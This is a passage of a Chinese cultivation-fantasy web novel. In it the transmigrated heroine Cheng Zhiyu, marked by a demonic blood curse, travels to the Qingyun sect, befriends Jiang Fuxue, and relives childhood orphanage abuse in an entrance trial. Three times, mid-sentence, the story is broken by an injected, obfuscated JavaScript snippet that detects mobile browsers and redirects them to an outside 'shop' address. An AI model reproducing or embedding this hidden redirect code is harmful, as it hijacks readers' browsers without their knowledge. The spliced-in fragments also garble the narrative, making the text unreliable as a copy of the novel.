“我只是想提醒你,你身上还有长老下的血咒,我这次来就是告诉你,如果不抓紧时间取得神器,你身上的血咒就会要了你的命。” “什么血咒?”程知鱼不解地看着他。 顾梧渊顿了一下,解释道:“就是在你心口处的一道莲花血印,这血咒能帮你遮掩身上的魔气,也能取了你的小命!” 难怪当时傅逾白没有看出她的魔族身份,原来是因为这个。 程知鱼听到后脑海里突然浮现出傅逾白的身影,吓得她赶忙摇了摇头,把他从脑海里甩了出去。 …… 不对 她本来就活不过20岁,现在还来个血咒?这是把她往死里整吗? “你确定我真的是你们魔族圣女吗?”程知鱼弱弱地问了一句。 这待遇还不如牛马。 “千真万确。”顾梧渊非常肯定地回答了程知鱼的提问。 “好了,你回去吧,我要接着睡了。” “嗯?我怎么回去?” 她正准备抬头,突然一阵天旋地转,稳稳地落在了医馆门口。 “顾梧渊我***。” 她有点想吐了。。 “姑娘!你终于回来了,吓死我了!” 程知鱼顺了顺气,勉强扯出一丝笑意,揉了揉绿凝毛绒绒的脑袋,安抚道:“好啦好啦,我就是一时贪玩忘时间,让你担心了。” 她隐瞒了遇到顾梧渊的事,虽然那人看起来不靠谱,但似乎也没有恶意,而且他跟原主之间似乎还有什么过往…… 她被绿凝拉着上了楼,一把按在了床上。绿凝板起脸来,绿色的灵力在指尖流转,顺着程稚鱼的额头进入经脉。 她感觉浑身上下的疲乏在灵力的滋养下被一扫而空,随后缓缓吐出一股浊气。 “好了,你好好休息一下吧,我先出去了。” 程知鱼目送着绿凝离去的背影,久久没缓过神来,好一会才转过身坐下,给自己倒了杯茶,茶杯中缓缓升起的白气氤氲了她的视线,带着浓烈的茶香扑面而来。 可程知鱼却无暇品鉴这杯茶,此时她正思考着顾梧渊提到的血咒。 她知道这具身体的心口处正如顾梧渊所说确实有一块莲花状的印记,本以为是原主的胎记,没想到…… 这可怎么办,取不到神器是死,天生残缺活不到20岁也是死…… 她捏紧了茶杯,指节因用力而泛白,脑中始终一片混乱。 “快快!青云宗贴出告示了,五年一次的招生好像开始了,我们快去看看……” 一阵嘈杂的喊叫声从窗外传来,程知鱼走到窗边往下看去,只见乌泱泱的人群挤在一块告示牌前在看些什么,其中不乏一些高门子弟。 “青云宗?” 程知鱼回忆了一下,这不正是傅逾白的宗门吗? “我今年定能考进青云宗!”一个皮肤黝黑的大汉拍着自己的胸口朝旁边的同伴信誓旦旦地说道。 她的目光却被那大汉身后的少年所吸引。 少年的脸庞轮廓分明,带着些少年人的稚气,一条不太明显的疤痕横亘在眉尾,又增添了一丝戾气。他身后背着一把大刀,用黑布遮盖着,却还是隐隐露出一点锋利的刀刃在阳光下闪着寒光。眼睛亮亮地盯着告示牌上的布告,一身不吭却给人一种不凡之气。 那少年像是感知到了什么,突然朝着程知鱼的方向看过来。锐利的目光像鹰一样捕捉到猎物一般,却在看见程知鱼之时又变回少年人的淳朴。 他朝程知鱼轻轻颔首,微微一笑露出了一对虎牙,随后便头也不回地离开了。 程知鱼也把脑袋缩了回来,关上了窗子,隔绝了外面嘈杂的喧闹声。 她在听到青云宗招生的消息时,脑海中便浮现了一个想法。 既然青云宗是修真界第一门派,那正如她之前所想,必有能治愈她的法子。除此之外,青云宗作为守护天下苍生的最后一道防线,也必然有关于神器的线索。 说来说去,最后还是绕回了青云宗。 “看来这青云宗我是非去不可了……”程知鱼揉了揉紧皱的眉心,自言自语道。 魔族为了取得神器不惜给圣女下血咒,真是煞费苦心。但派一个病秧子去寻找神器,魔族难道真的已经到了如此穷途末路的地步了吗? 她心里的疑惑越来越多,也越发地焦虑。 她拿起茶杯一饮而尽。 看来,一切还要等进入青云宗之后才能有答案了…… * 晨光熹微,晨雾缭绕着还未散去,日头却已经透过窗外的枝头洒进房间,在地上投出斑驳的光影。 程知鱼起了个大早,徐徐的微风伴着晨间的湿意拂过她的面庞。她随手挽了一个发髻,几缕发丝不听话地垂落在白皙的颈间。 程知鱼一边用着早膳,一边想着今日的计划。 不能再继续浪费时间了…… 浓郁的米粥香气混着淡淡的果香随着勺子的搅拌在屋内弥漫开来,也凝滞住了她的思绪。 好美味! 片刻后那满满一大碗的粥便见了底,一滴都未剩下。 她揉着自己撑的圆鼓鼓的肚子,心里十分满足。 果然吃美食就是让心情变好啊。 她随意收拾了一下,拿上了自己平时随身携带的荷包就准备出门。 ? 没拿动? 程知鱼疑惑地看去,原本空无一物的荷包此时却鼓鼓囊囊的,像是下一秒就要撑不住般炸开。 她迟疑了片刻,打开了荷包,沉甸甸的荷包内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093247|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞满了上中下各种品质的灵石,灵石的光芒顿时晃得程知鱼睁不开眼睛。 发财了! 她欣喜若狂,把所有灵石一股脑地倒了出来,揣在手里看了又看。 突然,荷包上浮现一道暗红色的魔气,越来越浓,渐渐形成一道模糊人影。 程知鱼把灵石往身后藏了藏,警惕地看着眼前影影绰绰的人影,慢慢地向房门挪动,随时准备跑出去。 “别跑了,这是给你用的……记得抓紧时间取得神器。” 那道魔气之中蓦地传出一道声音,程稚鱼紧绷的神经立刻放松下来。 这熟悉的没睡醒的声音除了顾梧渊还能是谁。 她撇了撇嘴,不满地呢喃道:“装什么大尾巴狼,吓我一跳。” “什么?”顾梧渊似是没听清,提了声音询问。 ”没什么没什么,我一定不负使命!” ——才怪。 程知鱼忙不迭地点头表达自己对魔族的效忠态度。 “行,那我走了……困死我了。” 说罢,魔气“噗——”的一声消散无踪,屋内重新恢复了平静。 呼—— 程知鱼重重的叹了口气,但眉间尽是掩不住的欢喜,笑意从嘴角攀升,逐渐弯成了一个夸张的弧度。 她还是没忍住笑出了声,随即清咳了几声,把灵石重新放回了荷包之中,将荷包里三层外三层包好后贴身存放。 嗯,财不外露财不外露…… 她哼着歌下了楼,直奔昨天瞧见的那个告示榜而去。 还未看见青云宗的招生告示,就已经被汹涌的人潮挤得七荤八素了,大家都拼命的往前走想仔细看看那张告示榜。 “让一让让一让,别挡着我!” 一名肌肉健硕的大汉一把推开旁边的人,挤到到最前面,程稚鱼瞅准时机跟在大汉身后,像一条灵活的鱼也窜到了告示前面。 “真不愧是修真界第一宗门,这人气,啧啧啧……” 程知鱼不经感叹到大家对青云宗趋之若鹜的热情。 她抬头认真读起眼前的告示…… “青云宗招生,十日内到达” 刚才那个肌肉大叔仰天大笑起来,嘴里全是赞美之词,比如:青云宗真不愧是第一宗门,招生都如此言简意赅……诸如此类的夸奖听得她耳朵要起茧子了。 旁边隐隐约约传来窃窃私语的交谈声,听不真切,但还是被程知鱼捕捉到了关键词:傅逾白。 行,天之骄子这一挂真是走哪都吃香…… 她见告示上确实没有什么别的内容,便转身用力挤出了堵得水泄不通的人群。 终于能喘口气了,她抹了一把自己额角沁出的汗珠。 可该怎么去青云宗呢?她又不像他人可以御剑飞行直达目的地,总不能徒步10日吧。 正当她一筹莫展之际,街道旁的店铺吸引了她的注意。 店外竖立着一个巨大的广告牌:云舟直达航线。 巧了吗这不是,她正缺交通工具呢,还真是渴了就有人送水来了。 程知鱼刚走进店铺内,一旁的小厮很有眼力见的就迎了上来。 “您看您想去哪?”身旁的小厮手中拿着一本厚厚的图册,上面用不同颜色标注了修真界的各个地名。 “有直达青云宗的航线吗?”程知鱼接过他手里的图册随意翻了翻,指了指图册上最显眼的部分。 “有的有的,明天就有!” 她想都没想,大手一挥就定下了最上等的客舱。 挥金如土的感觉就是爽! 程知鱼从怀中掏出荷包递给小厮几块灵石,接过象征客人身份的木牌,转身出了店铺。 小厮的阿谀奉承的声音在身后渐渐远去,她把玩着手中的木牌,放在手中掂了掂。 “青云宗,好好等着我吧。” 5. 第 5 章 她快步回到医馆,正巧碰上绿凝端着药来到房间。 程知鱼接过绿凝手中冒着热气的中药,黑乎乎的汤药上还漂浮着几片没过滤干净的药草。 她皱了皱脸,捏着鼻子一口气全部喝了下去,忙拉着绿凝的手坐下。 “绿凝……我可能明天就要走了。” 绿凝噎了一下,也不问她去哪,低下眼,像是想起了什么似的,从袖中掏出了一片绿叶,塞入程知鱼手中。 “这是翡翠灵叶,有止血生肌的作用,你要遇上……算了,你还是别遇上了……” 绿凝吸了吸鼻子,接着说道:“你……你别伤心,我经常跟师傅外出行医,说不定哪一日我们就在什么地方遇见了呢。” 程知鱼失笑,把绿凝揽进怀里,拍拍她的后背。 “嗯,我们会再遇到的。” “那、那你好好休息,我先走了……” 她目送着绿凝离开,摊开手掌看了看手心被捂热的灵叶,把它放在了自己的心口处。 她起身收拾了一下自己的行李,妥帖安放了自己装满灵石的荷包,安心地回到床榻之上,枕着窗外的蝉鸣进入了梦乡。 * “快,快上云舟,我们马上就要出发前往青云宗了!” 程知鱼早晨天还未亮就拿起了行李离开了医馆,此时却站在云舟下像是在等什么人似的,睁着眼睛左顾右盼。 云舟忽的发出一阵清脆的铃声,那是马上要开动的声音。她只能最后回头看了一眼,转身踏上了云舟…… “再见!我们一定会再见的!”身后远远传来了呼喊声。程知鱼朝身后看去,绿凝气喘吁吁地朝这边跑,一边跑一边挥手喊道。 程知鱼用力地眨了眨眼,眼角的湿润被微风给带走,她也朝绿凝挥了挥手,头也不回地上了云舟。 “轰隆隆——” 云舟在一系列剧烈的响动后缓慢升起,舟身外被一圈金光笼罩,在云雾中穿梭。 她凭着木牌在云舟内一路穿过最低级的客舱,来到了自己的房间。 与刚才脏乱还散发着恶臭的低级客舱不同,她的客舱内散发着淡淡的书香之气,小窗外还可直接欣赏窗外云雾弥漫的美景。 可程知鱼无暇躺下来好好享受一下这个高昂价格的客舱,她脑海之中浮现的是刚才穿过低级客舱时随意一瞥看见的一位姑娘。 那姑娘被几个长得肥头大耳的男人围在中间瑟瑟发抖,那几人脸上还带着色眯眯的笑容,旁边竟无一人来替那个姑娘解围。 算了算了,多一事不如少一事…… 程知鱼这样想着,身体却控制不住地走了出去。 ……死腿 不知不觉已经来到了方才那脏乱不堪的地方,这里没有单独的房间,大家卷着被褥席地而睡。 她忍着异味找寻刚才的那位姑娘,终于在一个角落中发现了被那几名男子围住的身影。 那几个男子的手已经要摸上那姑娘的脸了,程知鱼顿时火冒三丈,冲过去一把拍开了男子的手,把那姑娘牢牢护在身后。 “你们干什么!光天化日之下对着一个小姑娘动手动脚!” 她狠狠吐出一口恶气,拉起那姑娘就离开了那里,把她带回了自己的客舱内。 走在路上程知鱼依然不敢放松,手止不住有些发抖。 天知道她刚才有多害怕! 她把那姑娘带进了房间,才松开了她的手。 那姑娘净白的手腕上覆盖着一片红痕,是刚才程知鱼一时紧张用力过猛所致。 “对、对不起,你没事吧?”程知鱼忙轻轻抬起她的手左看右看。“你刚才有被那群人怎么样吗?” 那姑娘像是被吓着还未反应过来,过来一会才缓缓开口:“没事……谢谢你。” 那姑娘始终低着头不敢看程知鱼,莹白的手指紧紧抓住自已洗的有些发灰的衣裙,说话的声音带着微微的颤抖。 “你别怕,我不是坏人。你跟我睡一间屋子吧,反正这屋子大我一个人也占不了这么大的地。” 程知鱼组织了半天语言才结结巴巴地说了出来,然后从怀里掏出了一张手帕,轻轻地擦了擦面前姑娘脸上不知何时粘上的泥。 真是个美人,她在心底不禁感叹道。一张鹅蛋脸莹白胜雪,眉又似远山含黛,鼻梁秀挺,只是总爱低着头。 程知鱼拉着她来到床边坐下,替她梳理了一下刚才被弄乱的长发,自来熟地说道:“你好,我叫程知鱼,要去青云宗,你呢?” 那姑娘张了张嘴,低声说道:“我叫姜拂雪,也要去青云宗……” “你也去青云宗报名吗!” “嗯……我是看青云宗在招生,所以……”姜拂雪手指不自觉搓动着衣角,一张白净的脸涨得通红,像是羞于说出自己的想法。 程知鱼定定地看着她,又噙起一分笑意,握住了她有些有些发凉的双手,轻声说道:“那我们结伴同行吧,互相有个照应。” 姜拂雪先是一愣,眼睛微微泛红,渐渐蓄满了泪水。她的身体小幅度地颤抖着,泪水顺着眼尾滑落,滴在了程知鱼的手背上。 “谢、谢谢你……”她哽咽着朝程知鱼道谢,手不停地擦着泪水,却越擦越多,浸湿了她的衣袖。 她不管不顾地哭出声来,像是要把所有委屈哭尽。 程知鱼在一旁默默地抚摸着她的后背,她知道此时最好的办法就是让姜拂雪把自己所有的委屈全部释放出来。 渐渐的,姜拂雪的哭声慢慢小了下来,她吸了吸鼻子,突然反应过来自己刚才的失态,猛地站起身来。 她感觉一股火烧火燎之感从脖颈慢慢蔓延到耳后,心脏开始剧烈跳动起来。 她低着头不敢看向面前的人,带着刚哭完的低哑开口:“对不起……给你添麻烦了。” 程知鱼朝她摆了摆手,圆眼含笑,再次把她拉回身边,轻声安抚道::以后不许再说对不起了,我们现在是朋友。” “嗯……”姜拂雪点了点头,羽睫如蝶翼般轻颤,粘在上面的泪珠一滴滴掉落在地上。 空气仿佛凝滞住了,程知鱼不知道该说些什么才能打破此刻的沉寂,纠结了好一会刚想出些尬聊经典台词,却被一旁均匀的呼吸声给打断了。 眼前的姑娘已经枕着她的肩膀沉沉地睡着了,手却还牢牢攥着她的衣角不肯松开。 程知鱼一只手扶着她的胳膊,费力地把她在床上,帮她塞了塞被角。 “好好睡一觉吧”程知鱼看着姜拂雪的睡颜低声说道。 她翻遍整个房间终于找到了另一床被子,轻手轻脚地上了床,整个人窝进了柔软的梦乡中。 …… 这不是程知鱼第一次做梦。 尸山血海在眼前蔓延开来,人们啼哭着,谩骂着,却又一个接一个倒在了血泊中,铺天盖地的魔兽撕咬着手无寸铁的百姓。 “不要!” 她冲上前却摸了个空,眼前之景是如此的真实,满地血腥让她忍不住地干呕。 眼前突然闪过一阵刺目的光芒,瞬息之间,她感觉自己的灵魂在不停被撕扯,抽离。 “好痛,好痛,好痛!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093248|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她挣扎不得,剧烈的疼痛让她分不清此刻到底是梦境还是现实。 “快醒醒!” 程知鱼感觉一道惊呼由远及近传来,把她从梦境中拉了回来。 她猛地睁开眼睛,胸口一窒,喷出一大口鲜血,滴滴答答落在地上。 一旁的姜拂雪被吓得不知所措,赶忙拿起手帕替程知鱼擦拭,鲜红的血液从她的指缝中缓缓渗出。 程知鱼脸色苍白如纸,每次咳嗽像是要把五脏六腑都咳出来似的,急促地喘息着。 她坐在床上缓了一会,才慢慢缓过劲来。 一旁的姜拂雪眼中满是担忧,拧着双眉,扶着程知鱼坐了起来。 “你吓死我了!” 姜拂雪眼里噙着泪光,诺诺地开口:“方才你在睡梦中一直哭着喊疼。” 程知鱼胸口有些发闷,她依然记得刚才在梦境中那刻骨铭心的疼痛,却怎么都想不起来到底梦见了什么。 脑海里始终像蒙着面纱一般,一旦试图去回想,就像有一根钢针无情刺入她的神经,撕心裂肺的疼痛。 于是她只好不再去想这些,转头安慰一下一旁被吓得不清的姜拂雪。 真是惭愧,刚认识就让别人看见这么恐怖的一面。 程知鱼心中有愧,此时也不知该如何是好,有些局促不安地低着头不敢去看身旁的人。 姜拂雪见程知鱼不愿说,也不追问,只是默默地递来一杯温水,拿起温热的毛巾替程知鱼擦拭着被鲜血弄脏的脸庞。 “换我来守着你。” 姜拂雪的声音宛如轻盈的羽毛,轻轻飘落在程知鱼的心上,抚平了她内心的无措,像一首轻柔催眠曲,让程知鱼渐渐产生了困意。 她在姜拂雪的注视下沉沉睡去,这次却意外的没有做梦,睡得格外安稳。 “醒醒,我们到了。” 程知鱼抹了一把嘴角流出的口水,艰难地撕扯开自己的眼皮,过了好一会才看清眼前坐着的姜拂雪。 许是被她这幅滑稽的模样给逗乐了,姜拂雪低声笑着,替程知鱼顺了顺气。 “好些了吗?” 姜拂雪凑上前来,拧着双眉问道。 程知鱼掀开被子蹦下了床,朝着姜拂雪做了个鬼脸,拍着自己的胸脯说道:“老毛病了,没事的,今天依旧生龙活虎。” 姜拂雪眼疾手快地拉住了程知鱼,低声道:“我们已经到了,快走吧。” 程知鱼这才反应过来,拿起自己的行李跟着姜拂雪离开了云舟。 一路上,姜拂雪依旧沉默寡言,低着头不敢与程知鱼多说话,在沉默的氛围中不知不觉也到了青云宗的地界。 程知鱼远远看见大批人群拥挤在一块石碑前面,乌泱泱的人马男女老少皆齐聚在此。 姜拂雪像是被吓坏了似的,深深低着头不敢往四周看去。 程知鱼察觉到了她内心的无措,伸手握住了她有些冰凉的手,牵着她走到了人群前方去。 “青云仙门”,程知鱼低声读着石碑上刻着的文字。 不愧是第一宗门,连块石头都如此气派…… 突然,人群像炸开了锅似的,一股脑地往前面挤。 “小心!” 程知鱼用自己的身体替姜拂雪挡住了人群,却也被挤得东倒西歪。 这是干什么? 程知鱼摸不着头脑,只得踮起脚朝远处看去。 一席月白长袍的少年不紧不慢地走来,手腕上的红绳格外引人注目。 长得有点眼熟? 嗯?这不是傅逾白吗?! 6. 第 6 章 程知鱼鬼使神差地看了傅逾白好几眼,不知是她眼神太过炽热还是傅逾白太过敏锐,竟一下与他的视线对上了。 傅逾白眼神轻飘飘地落在了她的身上,不等程知鱼有所反应就迅速地移开了。 “静一静!” 傅逾白身旁的少年大声吆喝道,与其他同样身着月白锦袍的弟子一起指挥着现场。 人群渐渐安静下来,大家眼里都充满着对仙门的渴望,对眼前仙门弟子的崇拜简直要溢出眼眶。 “大家远道而来辛苦了。”傅逾白正了正神色,带着微笑开口道。 一番场面话过后,突然话音一转,脸上的笑容也随之淡了下去。 铮的一声,手中的剑瞬间出鞘,剑气在他周身游走,带起一阵阵狂风吹得大家有些站不稳。 “想进青云宗,必通过青云宗入门三关,这三关凶险异常,稍有不慎就有可能丢了性命,大家可要想清楚了。” 话音刚落,面前众人便窃窃私语了起来,大家的脸上都蒙上了一层阴影。 有的人脚步未动,可脸上已经有了退却之意。 “为了入仙门丢了性命可不值啊……”“是啊,这可如何是好……” 程知鱼能隐隐约约听见身旁传来的交谈声,她用余光偷偷瞥了一眼姜拂雪,出乎意料的是,看起来如此娇弱的姑娘,听见傅逾白的话,竟无丝毫害怕之意。 小姑娘下颌绷成一条直线,眼睛直勾勾地盯着面前的青云宗弟子。 程知鱼见此,抓着姜拂雪的手紧了紧,她才霎时回过神来,不好意思地低下头。 “我们约好一定要一起进青云宗!” 程知鱼嘴角微扬,目不转睛地看着身旁的人。 “嗯,一定!” 两个小姑娘互相许下誓言,相视一笑,心中先前缠绕的不安和恐惧都在这一瞬间消失殆尽。 “想要退出的可以直接走,其余的人留下参加入门测试,一旦选择留下可就没有回头路可走了,生死由命!” 傅逾白的声音清冽,带着少年人特有的朝气,穿过人群,落尽大家的心里,激起阵阵涟漪。 此话一说,人群再次躁动起来,有一些人选择退出,嘴里还念叨着自己不是害怕,只是不想在此浪费时间。 剩下的一部分人有些脸上也带着纠结的神色,看见有人走了也想离开,却被身旁一起结伴的人拉住了。 “好了,剩下的人跟我走。” 傅逾白朝人群看了看,视线像是不经意地扫程知鱼,顿了一下,又迅速地挪开。 他手持长剑,剑若霜雪,剑尖滑开虚空,霎时一阵狂风袭来,红色发带随风飘扬,宛如一团烈火。 程知鱼被风吹得睁不开眼,下意识抬手遮挡。 下一秒,所有人便毫无防备地被吸入虚空中,只留几片落叶还在地上打着旋儿。 “啊——” 程知鱼四仰八叉地躺在地上,但却没有感到疼痛,想来估计是青云宗的弟子们施法所为。 虽说没有疼痛的感觉,可脑袋却摔成了浆糊,她眼冒金星摇摇晃晃地想从地上爬起来,抬头第一眼却对上了一双带着嘲弄的眼睛。 程知鱼吓得猛地站起身来,却突然眼前一黑,眼看马上就要再次跟地面来个亲密接触了。 她顾不得那么多,手胡乱抓到了一个东西才勉强稳住了身形。 等她缓过神来,眼睛重新恢复光亮时,这才发现,她拽的不是别的,正是傅逾白打理得一丝不苟的外袍! 完了…… 看着眼前少年比锅底还黑的脸,和被自己乱抓一通的衣袍,她觉得自己未来的命运已经能一眼望到头了…… 程知鱼尴尬地笑了两声,一溜烟跑到姜拂雪身边老老实实呆着了。 傅逾白也没空跟她废话,手心凝聚起灵力,口中念念有词,周围霎时凝结出一片片雪白的霜花。 “轰隆隆——” 地面突然爆发出一阵剧烈的响动,众人被这一突如其来的变故吓得白了脸色。 下一刻,眼前突然升起一个巨型的石门,上面刻满了无人能识的古老符文,暗红的石门散发着沉沉的死气,扑面而来的气息压得大家喘不过气。 “此门为鉴心门。” 傅逾白眼神锐利,在冷冷地从众人身上扫过,微微顿了片刻,接着道。 “大家需要进入此门,在规定时间内出来,即为过关。” 此话一出,众人皆纷纷上前,都想第一个进入速战速决。 傅逾白长剑一横,拦住了众人,眯起双眸缓缓开口:“鉴心门顾名思义,意为鉴心,若有心术不正之人或魔族中人,便会被此门彻底吞噬。” 他的话像一根刺直直扎进程知鱼的心脏,她顿感不妙,脸色一时间变了又变。 傅鱼白似乎意有所指似的看了看众人,眼神又再次落在了程知鱼身上,藏了些程知鱼看不懂的情绪。 希望那个血咒能帮我掩盖住我魔族的身份吧…… 程知鱼心头隐隐有些不安,眉间一闪而过的焦灼却被一旁的姜拂雪捕捉到了。 “怎么了?担心这个鉴心门吗?” 她关切地询问道,脸上带着担忧。 “没事……我们快进去吧!” 程知鱼笑容短暂地凝滞了一下,很快又恢复如常。 姜拂雪点了点头,也不知在想些什么,任由程知鱼把自己拉到了鉴心门前。 看着眼前暗红的巨门,程知鱼心跳如擂,额头上也冒出来细密的冷汗。 “你……你不用太紧张。” 耳旁突然传来熟悉的声音,程知鱼转头看去,只见站在一旁的傅逾白耳廓有些许泛红。 他瞥见程知鱼探究的神色后,不自然地扭过头,装作严肃催促道:“好了好了别磨蹭,赶快进去。” 程知鱼无暇思考傅逾白的奇怪,她深吸一口气,视死如归地踏了进去。 与外面的景致全然不同,程知鱼感觉像是一下踏入了深深的泥沼地中,整个人像是在不停地往下沉,无边的黑暗包裹着她本就惴惴不安的心脏。 一瞬间她感觉好像有一双手紧紧扼住了她的咽喉,窒息感充斥着她的内心。 正当她以为要持续下去时,周围突然炸开了一道白光,程知鱼被眼前的白光刺激的不由得挤出了几滴生理泪水。 她微微一愣,脑子里突然一片空白,茫然无措地看着眼前熟悉的事物。 不远处,一只孤零零的木马还在地上轻轻摇动,耳畔传来孩童尖锐的嬉笑声,他们把程知鱼一把推倒在地,粗糙的水泥地磨破了她稚嫩的掌心。 血液混着小石子覆盖在程知鱼的手上,她忍不住痛呼出声。 程知鱼此刻有些不知所措,记忆在一瞬间回笼。 哦,对,她刚才被孤儿院的院长妈妈责罚了…… 程知鱼撑起瘦弱的身体,眼泪却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093249|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止不住地落下。 “好痛……” 程知鱼小小的身体止不住地颤抖,轻轻地吹了吹自己血肉模糊的手心,抬起头眼里的倔强却藏不住。 “啪——” 突然一个巴掌稳稳地落在了她的脸上,掌风带起了程知鱼的发丝,扇得她偏过头去,脑子里嗡嗡作响。 “院长妈妈……” 程知鱼惊恐地看着眼前布满皱纹面目狰狞之人,下意识抱住了自己的头。 “不要打我,我没有偷东西!我错了、我错了院长妈妈!” 程知鱼唇瓣颤抖起来,身子抖如筛糠,趴在地上一个劲地磕头。 “咚!咚!” 程知鱼白皙的小脸瞬间被额头的鲜血覆盖,却还是没有停止磕头,一下、一下狠狠地朝地上砸。 面前之人却不为所动,一把抓起程知鱼瘦弱纤细的胳膊,一路拖着她来到了一个阴暗逼仄的小房间。 “谁让你偷东西的?啊!” 院长妈妈扯着嘶哑尖锐的嗓子大声冲着面前的小女孩吼叫着,拿起手上的木棍狠狠地打在程知鱼的身上,木棍跟皮肉接触后发出闷响。 “我没有!我没有!” 程知鱼抱着头不停地哭喊着,木棍的击打声,院长的吼叫声,与她的哭喊声混作一团,门外还有孤儿院孩子们时不时传来的嬉笑欢呼声…… 程知鱼的哭喊声渐渐消失,只剩偶尔发出的一两声微弱的呜咽,布满青紫的身子时不时地颤抖,嘴里依然念叨着“不要打我,我没有偷东西……” 院长似乎也打累了,随手扔下木棍,抓起程知鱼的头发恶狠狠地警告道:“你下次再犯,我就打死你!” 说完把小小的程知鱼像破布娃娃一样被摔在冰凉的水泥地上,重重地关上了门。 随着清脆落锁的声一起到来的是门外小孩作鸟兽散去的笑闹声。 程知鱼静静地躺在地上,身体上的疼痛让她既无法就此晕过去,也无法站起来。 她一双小鹿眼中充斥着无尽的恨意,她恨凭什么只有她被无端冤枉遭受毒打,她恨凭什么孤儿院其他小孩可以肆无忌惮地伤害她嘲弄她…… 可再恨,她也是笼中之鸟,飞不出去,也看不到未来。 她心如死灰地闭上了眼睛,任由身上的伤口淌着血,在冰凉的地面上蔓延开来。 这不是程知鱼第一次被打,也不会是最后一次,她早已习惯了…… 她的脸色渐渐变得越来越苍白,身上也越发地冰冷,程知鱼挣扎着想要睁开眼睛,却根本无法做到。 生机在一点点流失…… 突然,程知鱼心口处猛地爆发出一阵翠绿色的光芒,眨眼间便笼罩了整个身体。 一块绿叶状的灵石从她的心口飞出,下一刻程知鱼的伤便肉眼可见地消失,皮开肉绽之处也渐渐愈合,看不出一丝一毫的伤痕。 程知鱼隐隐感受到了一股温热的力量被送入自己的身体,身上的疼痛逐渐被抚平。 她缓缓睁开双眼,却发现身上的伤口早已愈合,掉落在身旁的绿叶也失去了光泽。 程知鱼陡然清醒过来,原本的记忆也在逐渐回笼,车祸,穿书……所有的记忆如潮水般涌入她的脑之中。 她撑起瘦弱的身躯,思考了一下当下的处境。 看来这所谓的鉴心门映射的是每个人内心深处最痛苦的回忆,只有战胜这段痛苦的经历,才能真正离开这里。 7. 第 7 章 程知鱼看着眼前紧锁的门,无奈地叹了口气。 连禁闭室都出不去又何谈打破当前的幻境呢? 程知鱼自知单凭自身力量是绝撞不开这扇铁门,估计门锁没坏,她自己的小身板先报废在这了。 她抬头看向高处的一个小铁窗。阳光从缝隙处穿过,洒下点点光斑,隐隐可见屋内的浮尘。 整个密闭的空间仅有这一处看起来可供逃跑的地方,窗户被纤细的铁丝包裹,却不知何时被蛮力拉扯出了一个洞,虽不大,但这已经是她能逃跑的唯一机会了。 程知鱼微微挺直脊背,双手交握搓了搓,一鼓作气踩着一旁破旧不堪的木椅攀上窗台。 脚下的椅子因老旧不停嘎吱作响,摇摇晃晃像随时都会散架一般。她两只手奋力地扒住了窗台,粗糙的表面将她的手心磨得通红,双脚死死蹬住水泥墙,终于是整个人爬到了上面。 程知鱼缩成一团,大口喘着粗气,瘦小的身体不自觉打着颤。她小心抽出自己被磨破的手放在嘴边吹了吹,眼神落在了面前的铁丝网上。 虽然有一个不知道被谁扯出的洞,但程知鱼对比了一下自己的身形,发现还是无法完全钻出去,仅能顺利地把头探出去。 还是要靠蛮力强行破坏才行啊…… 铁丝网上布满了暗红的锈迹,甚至可见蛛网挂在上面随风飘摇着。 程知鱼尝试着从两边扯开铁丝。 “咔嚓——” 看上去坚实的铁丝应声而断,在她手中碎成渣子。 程知鱼大喜过望,整个身子探出去,朝四周看了看。禁闭室后面只有一棵孤独的老树,虬龙般苍劲的树枝盘曲交错,几根枝干伸到了窗棂下,零零散散停落着几只乌鸦,在她探出来的一瞬间发出粗哑的鸣叫后展翅飞起。 程知鱼扶着窗框猛地跳到了老树的枝干上,双手紧紧抱住树干后灵巧地滑了下去,稳稳地落在地面上。 眼前熟悉的一切再次出现时,程知鱼有一种恍若隔世之感。 “兜兜转转还是回到了这里……” 可此时不是回忆往昔的时候,程知鱼本以为只要自己成功从禁闭室逃出就算成功战胜内心的恐惧。可眼前的幻境却没有丝毫的变化,并不像成功过关的样子。 “可恶!” 程知鱼狠狠砸了一下树干,心里急得直冒火。时间一分一秒地流逝,再不加快速度,她就真的要失去进入青云宗的资格了。 “喀嚓——” 几不可察的声音从老树后传入程知鱼耳中,她呼吸瞬间停滞住了似的,整个人像被无形的钉子钉在原地,脸上的血色在一瞬间退去。 “什么人!” 程知鱼试探地开口道,脚却不停地后退,做好随时逃跑的准备。 “你、你别怕……”大树后钻出一个矮小的男孩,举着一只手朝程知鱼慢慢靠近。 “你是什么人,你要去向院长告密吗?”程知鱼此时不相信任何人,警惕地盯着眼前靠近的人,声音不自觉绷紧,不动声色地往后面移动着。 